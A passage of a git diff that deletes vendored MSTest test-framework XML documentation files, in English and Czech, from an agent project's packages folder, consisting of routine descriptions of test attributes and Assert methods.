- - - - - The test initialize attribute. - - - - - The test cleanup attribute. - - - - - The ignore attribute. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - Message specifies reason for ignoring. - - - - - Gets the owner. - - - - - The test property attribute. - - - - - Initializes a new instance of the class. - - - The name. - - - The value. - - - - - Gets the name. - - - - - Gets the value. - - - - - The class initialize attribute. - - - - - Initializes a new instance of the class. - ClassInitializeAttribute - - - - - Initializes a new instance of the class. - ClassInitializeAttribute - - - Specifies the ClassInitialize Inheritance Behavior - - - - - Gets the Inheritance Behavior - - - - - The class cleanup attribute. - - - - - Initializes a new instance of the class. - ClassCleanupAttribute - - - - - Initializes a new instance of the class. - ClassCleanupAttribute - - - Specifies the ClassCleanup Inheritance Behavior - - - - - Gets the Inheritance Behavior - - - - - The assembly initialize attribute. - - - - - The assembly cleanup attribute. - - - - - Test Owner - - - - - Initializes a new instance of the class. - - - The owner. - - - - - Gets the owner. - - - - - Priority attribute; used to specify the priority of a unit test. - - - - - Initializes a new instance of the class. - - - The priority. - - - - - Gets the priority. - - - - - Description of the test - - - - - Initializes a new instance of the class to describe a test. - - The description. - - - - Gets the description of a test. - - - - - CSS Project Structure URI - - - - - Initializes a new instance of the class for CSS Project Structure URI. - - The CSS Project Structure URI. - - - - Gets the CSS Project Structure URI. - - - - - CSS Iteration URI - - - - - Initializes a new instance of the class for CSS Iteration URI. - - The CSS Iteration URI. - - - - Gets the CSS Iteration URI. - - - - - WorkItem attribute; used to specify a work item associated with this test. - - - - - Initializes a new instance of the class for the WorkItem Attribute. - - The Id to a work item. - - - - Gets the Id to a work item associated. - - - - - Timeout attribute; used to specify the timeout of a unit test. - - - - - Initializes a new instance of the class. - - - The timeout in milliseconds. - - - - - Initializes a new instance of the class with a preset timeout - - - The timeout - - - - - Gets the timeout in milliseconds. - - - - - TestResult object to be returned to adapter. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the display name of the result. Useful when returning multiple results. - If null then Method name is used as DisplayName. - - - - - Gets or sets the outcome of the test execution. - - - - - Gets or sets the exception thrown when test is failed. - - - - - Gets or sets the output of the message logged by test code. - - - - - Gets or sets the output of the message logged by test code. - - - - - Gets or sets the debug traces by test code. - - - - - Gets or sets the debug traces by test code. - - - - - Gets or sets the execution id of the result. - - - - - Gets or sets the parent execution id of the result. - - - - - Gets or sets the inner results count of the result. - - - - - Gets or sets the duration of test execution. - - - - - Gets or sets the data row index in data source. Set only for results of individual - run of data row of a data driven test. - - - - - Gets or sets the return value of the test method. (Currently null always). - - - - - Gets or sets the result files attached by the test. - - - - - Specifies connection string, table name and row access method for data driven testing. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - The default provider name for DataSource. - - - - - The default data access method. - - - - - Initializes a new instance of the class. This instance will be initialized with a data provider, connection string, data table and data access method to access the data source. - - Invariant data provider name, such as System.Data.SqlClient - - Data provider specific connection string. - WARNING: The connection string can contain sensitive data (for example, a password). - The connection string is stored in plain text in source code and in the compiled assembly. - Restrict access to the source code and assembly to protect this sensitive information. - - The name of the data table. - Specifies the order to access data. - - - - Initializes a new instance of the class.This instance will be initialized with a connection string and table name. - Specify connection string and data table to access OLEDB data source. - - - Data provider specific connection string. - WARNING: The connection string can contain sensitive data (for example, a password). - The connection string is stored in plain text in source code and in the compiled assembly. - Restrict access to the source code and assembly to protect this sensitive information. - - The name of the data table. - - - - Initializes a new instance of the class. This instance will be initialized with a data provider and connection string associated with the setting name. - - The name of a data source found in the <microsoft.visualstudio.qualitytools> section in the app.config file. - - - - Gets a value representing the data provider of the data source. - - - The data provider name. If a data provider was not designated at object initialization, the default provider of System.Data.OleDb will be returned. - - - - - Gets a value representing the connection string for the data source. - - - - - Gets a value indicating the table name providing data. - - - - - Gets the method used to access the data source. - - - - One of the values. If the is not initialized, this will return the default value . - - - - - Gets the name of a data source found in the <microsoft.visualstudio.qualitytools> section in the app.config file. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 5b20a571..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Používá se pro určení položky nasazení (souboru nebo adresáře) za účelem nasazení podle testu. - Lze zadat na testovací třídě nebo testovací metodě. - Může mít více instancí atributu pro zadání více než jedné položky. - Cesta k položce může být absolutní nebo relativní. Pokud je relativní, je relativní ve vztahu k RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Inicializuje novou instanci třídy . - - Soubor nebo adresář, který se má nasadit. Cesta je relativní ve vztahu k adresáři výstupu sestavení. Položka bude zkopírována do adresáře, ve kterém jsou nasazená testovací sestavení. - - - - Inicializuje novou instanci třídy . - - Relativní nebo absolutní cesta k souboru nebo adresáři, který se má nasadit. Cesta je relativní ve vztahu k adresáři výstupu sestavení. Položka bude zkopírována do stejného adresáře jako nasazená testovací sestavení. - Cesta k adresáři, do kterého se mají položky kopírovat. Může být absolutní nebo relativní ve vztahu k adresáři nasazení. Všechny soubory a adresáře určené cestou budou zkopírovány do tohoto adresáře. - - - - Získá cestu ke zdrojovému souboru nebo složce, které se mají kopírovat. - - - - - Získá cestu adresáře, do kterého se položka zkopíruje. - - - - - Třída TestContext. Tato třída by měla být zcela abstraktní a neměla by obsahovat žádné - členy. Členy implementuje adaptér. Uživatelé rozhraní by měli - k této funkci přistupovat jenom prostřednictvím dobře definovaného rozhraní. - - - - - Získá vlastnosti testu. - - - - - Získá plně kvalifikovaný název třídy obsahující aktuálně prováděnou testovací metodu. - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Získá název aktuálně prováděné testovací metody. - - - - - Získá aktuální výsledek testu. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 3f446b4e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4197 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Atribut TestMethod pro provádění - - - - - Získá název testovací metody. - - - - - Získá název třídy testu. - - - - - Získá návratový typ testovací metody. - - - - - Získá parametry testovací metody. - - - - - Získá methodInfo pro testovací metodu. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Vyvolá testovací metodu. - - - Argumenty pro testovací metodu (např. pro testování řízené daty) - - - Výsledek vyvolání testovací metody - - - This call handles asynchronous test methods as well. - - - - - Získá všechny atributy testovací metody. - - - Jestli je platný atribut definovaný v nadřazené třídě - - - Všechny atributy - - - - - Získá atribut konkrétního typu. - - System.Attribute type. - - Jestli je platný atribut definovaný v nadřazené třídě - - - Atributy zadaného typu - - - - - Pomocná služba - - - - - Kontrolní parametr není null. - - - Parametr - - - Název parametru - - - Zpráva - - Throws argument null exception when parameter is null. - - - - Ověřovací parametr není null nebo prázdný. - - - Parametr - - - Název parametru - - - Zpráva - - Throws ArgumentException when parameter is null. - - - - Výčet způsobů přístupu k datovým řádkům při testování řízeném daty - - - - - Řádky se vrací v sekvenčním pořadí. - - - - - Řádky se vrátí v náhodném pořadí. - - - - - Atribut pro definování vložených dat pro testovací metodu - - - - - Inicializuje novou instanci třídy . - - Datový objekt - - - - Inicializuje novou instanci třídy , která přijímá pole argumentů. - - Datový objekt - Další data - - - - Získá data pro volání testovací metody. - - - - - Získá nebo nastaví zobrazovaný název ve výsledcích testu pro přizpůsobení. - - - - - Výjimka s neprůkazným kontrolním výrazem - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Inicializuje novou instanci třídy . - - - - - Třída InternalTestFailureException. Používá se pro označení interní chyby testovacího případu. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializuje novou instanci třídy . - - Zpráva o výjimce - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva o výjimce - - - - Inicializuje novou instanci třídy . - - - - - Atribut, podle kterého se má očekávat výjimka zadaného typu - - - - - Inicializuje novou instanci třídy s očekávaným typem. - - Typ očekávané výjimky - - - - Inicializuje novou instanci třídy - s očekávaným typem a zprávou, která se zahrne v případě, že test nevyvolá žádnou výjimku. - - Typ očekávané výjimky - - Zpráva, která má být zahrnuta do výsledku testu, pokud se test nezdaří z důvodu nevyvolání výjimky - - - - - Načte hodnotu, která označuje typ očekávané výjimky. - - - - - Získá nebo načte hodnotu, která označuje, jestli je možné typy odvozené od typu očekávané výjimky - považovat za očekávané. - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Ověří, jestli se očekává typ výjimky vyvolané testem jednotek. - - Výjimka vyvolaná testem jednotek - - - - Základní třída pro atributy, které určují, že se má očekávat výjimka testu jednotek - - - - - Inicializuje novou instanci třídy s výchozí zprávou no-exception. - - - - - Inicializuje novou instanci třídy se zprávou no-exception. - - - Zprávy, které mají být zahrnuty ve výsledku testu, pokud se test nezdaří z důvodu nevyvolání - výjimky - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Získá výchozí zprávu no-exception. - - Název typu atributu ExpectedException - Výchozí zpráva neobsahující výjimku - - - - Určuje, jestli se daná výjimka očekává. Pokud metoda skončí, rozumí se tomu tak, - že se výjimka očekávala. Pokud metoda vyvolá výjimku, rozumí se tím, - že se výjimka neočekávala a součástí výsledku testu - je zpráva vyvolané výjimky. Pomocí třídy je možné si usnadnit - práci. Pokud se použije a kontrolní výraz selže, - výsledek testu se nastaví na Neprůkazný. - - Výjimka vyvolaná testem jednotek - - - - Znovu vyvolá výjimku, pokud se jedná o atribut AssertFailedException nebo AssertInconclusiveException. - - Výjimka, která se má znovu vyvolat, pokud se jedná výjimku kontrolního výrazu - - - - Tato třída je koncipovaná tak, aby uživatelům pomáhala při testování jednotek typů, které využívá obecné typy. - Atribut GenericParameterHelper řeší některá běžná omezení obecných typů, - jako jsou: - 1. veřejný výchozí konstruktor - 2. implementace společného rozhraní: IComparable, IEnumerable - - - - - Inicializuje novou instanci třídy , která - splňuje omezení newable v obecných typech jazyka C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializuje novou instanci třídy , která - inicializuje vlastnost Data na hodnotu zadanou uživatelem. - - Libovolné celé číslo - - - - Získá nebo nastaví data. - - - - - Provede porovnání hodnot pro dva objekty GenericParameterHelper. - - objekt, se kterým chcete porovnávat - pravda, pokud má objekt stejnou hodnotu jako „tento“ objekt GenericParameterHelper. - V opačném případě nepravda. - - - - Vrátí pro tento objekt hodnotu hash. - - Kód hash - - - - Porovná data daných dvou objektů . - - Objekt pro porovnání - - Číslo se znaménkem označující relativní hodnoty této instance a hodnoty - - - Thrown when the object passed in is not an instance of . - - - - - Vrátí objekt IEnumerator, jehož délka je odvozená od - vlastnosti dat. - - Objekt IEnumerator - - - - Vrátí objekt GenericParameterHelper, který se rovná - aktuálnímu objektu. - - Klonovaný objekt - - - - Umožňuje uživatelům protokolovat/zapisovat trasování z testů jednotek pro účely diagnostiky. - - - - - Obslužná rutina pro LogMessage - - Zpráva, kterou chcete zaprotokolovat - - - - Událost pro naslouchání. Dojde k ní, když autor testů jednotek napíše zprávu. - Určeno především pro použití adaptérem. - - - - - Rozhraní API pro volání zpráv protokolu zapisovačem testu - - Formátovací řetězec se zástupnými symboly - Parametry pro zástupné symboly - - - - Atribut TestCategory, používá se pro zadání kategorie testu jednotek. - - - - - Inicializuje novou instanci třídy a zavede pro daný test kategorii. - - - Kategorie testu - - - - - Získá kategorie testu, které se nastavily pro test. - - - - - Základní třída atributu Category - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializuje novou instanci třídy . - Tuto kategorii zavede pro daný test. Řetězce vrácené z TestCategories - se použijí spolu s příkazem /category k filtrování testů. - - - - - Získá kategorii testu, která se nastavila pro test. - - - - - Třída AssertFailedException. Používá se pro značení chyby testovacího případu. - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Inicializuje novou instanci třídy . - - - - - Kolekce pomocných tříd pro testování nejrůznějších podmínek v rámci - testů jednotek. Pokud se testovaná podmínka nesplní, vyvolá se - výjimka. - - - - - Získá instanci typu singleton funkce Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Thrown if is false. - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je nepravda. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is false. - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je nepravda. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is false. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Thrown if is true. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je pravda. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is true. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je pravda. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is true. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Thrown if is null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is null. - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným 